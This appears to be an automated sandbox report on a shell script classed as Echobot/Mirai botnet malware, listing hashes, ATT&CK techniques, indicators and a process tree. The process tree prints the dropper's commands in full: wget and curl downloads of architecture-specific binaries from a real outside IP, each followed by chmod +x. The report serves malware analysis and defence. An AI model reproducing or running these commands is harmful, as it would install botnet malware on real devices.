echobot | 71451b64fc1acf7e50295e14859f7957966210efb8351a26882f96781aa7c4e1

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
29/03/2025, 15:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Oblivion121.sh
Size

1KB
MD5

506ea803fdb2d5a593683fe98fec6f1f
SHA1

f71d6ccbfd48bff6ba7c06a7250e137f5ab75066
SHA256

71451b64fc1acf7e50295e14859f7957966210efb8351a26882f96781aa7c4e1
SHA512

213cf82427a6b073293b65f0745fa5bc95e24c7f684aec2f97b7548d4d099c0a0251f691d4a514818da6ad5b6674c55549eaa960a7ac7e2d28ee391d9d626fc5

Score

10^/10

echobot mirai botnet defense_evasion discovery trojan

Malware Config

Signatures

Detected Echobot 1 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_echobot

Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
botnet trojan echobot
Echobot family
echobot
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (169840) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1611	chmod
1821	chmod
1835	chmod
1867	chmod
1568	chmod
1582	chmod
1853	chmod
1524	chmod
1538	chmod
1554	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/cp	1525	Oblivion121.sh
/tmp/cp	1539	Oblivion121.sh
/tmp/cp	1555	Oblivion121.sh
/tmp/cp	1569	Oblivion121.sh
/tmp/cp	1583	Oblivion121.sh
/tmp/cp	1612	Oblivion121.sh
/tmp/cp	1822	Oblivion121.sh
/tmp/cp	1836	Oblivion121.sh
/tmp/cp	1854	Oblivion121.sh
/tmp/cp	1868	Oblivion121.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Oblivion121.sh
File opened for modification	/dev/watchdog	Oblivion121.sh

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	Oblivion121.sh

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 10 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1525	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1539	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1555	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1569	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1583	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1612	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1822	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1836	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1854	Oblivion121.sh
Changes the process name, possibly in an attempt to hide itself	1868	Oblivion121.sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	Oblivion121.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/479/fd	Oblivion121.sh
File opened for reading	/proc/671/fd	Oblivion121.sh
File opened for reading	/proc/1142/fd	Oblivion121.sh
File opened for reading	/proc/1319/fd	Oblivion121.sh
File opened for reading	/proc/1691/fd	Oblivion121.sh
File opened for reading	/proc/1855/fd	Oblivion121.sh
File opened for reading	/proc/597/fd	Oblivion121.sh
File opened for reading	/proc/681/fd	Oblivion121.sh
File opened for reading	/proc/1022/fd	Oblivion121.sh
File opened for reading	/proc/1134/fd	Oblivion121.sh
File opened for reading	/proc/1556/fd	Oblivion121.sh
File opened for reading	/proc/505/exe	Oblivion121.sh
File opened for reading	/proc/1754/fd	Oblivion121.sh
File opened for reading	/proc/1757/fd	Oblivion121.sh
File opened for reading	/proc/611/fd	Oblivion121.sh
File opened for reading	/proc/913/fd	Oblivion121.sh
File opened for reading	/proc/961/fd	Oblivion121.sh
File opened for reading	/proc/975/fd	Oblivion121.sh
File opened for reading	/proc/1070/fd	Oblivion121.sh
File opened for reading	/proc/1262/fd	Oblivion121.sh
File opened for reading	/proc/1300/fd	Oblivion121.sh
File opened for reading	/proc/1526/fd	Oblivion121.sh
File opened for reading	/proc/1085/fd	Oblivion121.sh
File opened for reading	/proc/477/fd	Oblivion121.sh
File opened for reading	/proc/495/fd	Oblivion121.sh
File opened for reading	/proc/510/exe	Oblivion121.sh
File opened for reading	/proc/538/exe	Oblivion121.sh
File opened for reading	/proc/559/exe	Oblivion121.sh
File opened for reading	/proc/1629/fd	Oblivion121.sh
File opened for reading	/proc/1823/fd	Oblivion121.sh
File opened for reading	/proc/1/fd	Oblivion121.sh
File opened for reading	/proc/506/fd	Oblivion121.sh
File opened for reading	/proc/1057/fd	Oblivion121.sh
File opened for reading	/proc/1074/fd	Oblivion121.sh
File opened for reading	/proc/1126/fd	Oblivion121.sh
File opened for reading	/proc/1155/fd	Oblivion121.sh
File opened for reading	/proc/1649/fd	Oblivion121.sh
File opened for reading	/proc/1677/fd	Oblivion121.sh
File opened for reading	/proc/1362/fd	Oblivion121.sh
File opened for reading	/proc/1762/fd	Oblivion121.sh
File opened for reading	/proc/1642/exe	Oblivion121.sh
File opened for reading	/proc/1027/fd	Oblivion121.sh
File opened for reading	/proc/1164/fd	Oblivion121.sh
File opened for reading	/proc/1198/fd	Oblivion121.sh
File opened for reading	/proc/1542/fd	Oblivion121.sh
File opened for reading	/proc/479/exe	Oblivion121.sh
File opened for reading	/proc/506/exe	Oblivion121.sh
File opened for reading	/proc/1669/fd	Oblivion121.sh
File opened for reading	/proc/1732/fd	Oblivion121.sh
File opened for reading	/proc/427/fd	Oblivion121.sh
File opened for reading	/proc/437/fd	Oblivion121.sh
File opened for reading	/proc/1282/fd	Oblivion121.sh
File opened for reading	/proc/1605/fd	Oblivion121.sh
File opened for reading	/proc/1623/fd	Oblivion121.sh
File opened for reading	/proc/1651/fd	Oblivion121.sh
File opened for reading	/proc/1695/fd	Oblivion121.sh
File opened for reading	/proc/1698/fd	Oblivion121.sh
File opened for reading	/proc/545/fd	Oblivion121.sh
File opened for reading	/proc/722/fd	Oblivion121.sh
File opened for reading	/proc/1151/fd	Oblivion121.sh
File opened for reading	/proc/1185/fd	Oblivion121.sh
File opened for reading	/proc/1687/fd	Oblivion121.sh
File opened for reading	/proc/1703/fd	Oblivion121.sh
File opened for reading	/proc/1809/fd	Oblivion121.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1529	wget
1536	curl

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jade420.arm4	curl
File opened for modification	/tmp/jade420.arm5	curl
File opened for modification	/tmp/jade420.m68k	curl
File opened for modification	/tmp/jade420.x86	wget
File opened for modification	/tmp/jade420.x86	curl
File opened for modification	/tmp/jade420.arm5	wget
File opened for modification	/tmp/jade420.arm6	wget
File opened for modification	/tmp/jade420.arm6	curl
File opened for modification	/tmp/cp	Oblivion121.sh
File opened for modification	/tmp/jade420.arm7	wget
File opened for modification	/tmp/jade420.arm7	curl
File opened for modification	/tmp/jade420.sh4	wget
File opened for modification	/tmp/jade420.sh4	curl
File opened for modification	/tmp/jade420.mpsl	curl
File opened for modification	/tmp/jade420.ppc	wget
File opened for modification	/tmp/jade420.ppc	curl
File opened for modification	/tmp/jade420.m68k	wget
File opened for modification	/tmp/jade420.mips	wget
File opened for modification	/tmp/jade420.mips	curl
File opened for modification	/tmp/jade420.mpsl	wget

/tmp/Oblivion121.sh
/tmp/Oblivion121.sh
1⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
PID:1517
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.x86
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.x86
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/cat
  cat jade420.x86
  2⤵
  PID:1523
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-iC1FF5
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.mips jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-iC1FF5
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1545
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.mips jade420.mpsl jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-iC1FF5
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm4
  2⤵
  PID:1559
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm4
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.arm4 jade420.mips jade420.mpsl jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-iC1FF5
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm5
  2⤵
  - Writes file to tmp directory
  PID:1573
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm5
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.arm4 jade420.arm5 jade420.mips jade420.mpsl jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-K8fZsT systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-timedated.service-iC1FF5
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm6
  2⤵
  - Writes file to tmp directory
  PID:1587
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm6
  2⤵
  - Writes file to tmp directory
  PID:1609
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.mips jade420.mpsl jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp ssh-bH0eWunku0iN systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-MG4bXi systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm7
  2⤵
  - Writes file to tmp directory
  PID:1812
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm7
  2⤵
  - Writes file to tmp directory
  PID:1819
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.mips jade420.mpsl jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-MG4bXi systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-rtkit-daemon.service-EZyIGC systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-hostnamed.service-Qep7sB systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-localed.service-amIUD5 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7
  2⤵
  - File and Directory Permissions Modification
  PID:1821
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.ppc
  2⤵
  - Writes file to tmp directory
  PID:1826
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.ppc
  2⤵
  - Writes file to tmp directory
  PID:1833
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.mips jade420.mpsl jade420.ppc jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-MG4bXi systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-rtkit-daemon.service-EZyIGC systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-hostnamed.service-Qep7sB systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-localed.service-amIUD5 systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7
  2⤵
  - File and Directory Permissions Modification
  PID:1835
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.m68k
  2⤵
  - Writes file to tmp directory
  PID:1844
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.m68k
  2⤵
  - Writes file to tmp directory
  PID:1851
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.m68k jade420.mips jade420.mpsl jade420.ppc jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-MG4bXi systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-rtkit-daemon.service-EZyIGC systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7
  2⤵
  - File and Directory Permissions Modification
  PID:1853
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.sh4
  2⤵
  - Writes file to tmp directory
  PID:1858
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.sh4
  2⤵
  - Writes file to tmp directory
  PID:1865
- /bin/chmod
  chmod +x config-err-dB3BHa cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.m68k jade420.mips jade420.mpsl jade420.ppc jade420.sh4 jade420.x86 netplan_ke6ktkgw Oblivion121.sh snap-private-tmp systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-bolt.service-Ocwvmt systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-colord.service-c2cuRy systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-ModemManager.service-MG4bXi systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-rtkit-daemon.service-EZyIGC systemd-private-2dcc1cf0ee8b4de2878fd53c233c9623-systemd-resolved.service-E88vp7
  2⤵
  - File and Directory Permissions Modification
  PID:1867

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/jade420.x86

Filesize
68KB

MD5
ca9c4fc72ea948856f5a37956f167bfc

SHA1
a689a0fc903757672b777dda4f82a8688556d333

SHA256
96f4ce7b2e797678dab4ccafd828ace3718b945bfe8a05357688a5cd2d166fc4

SHA512
900e34ae8667a6cea737e5a16c3143d9ab8e20a3f466bc6b616bf47fc961809bfd3ffcdc938c0941c4209ac3ed4af2066d82942dd45e05f78199e87d9a87ddf2

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads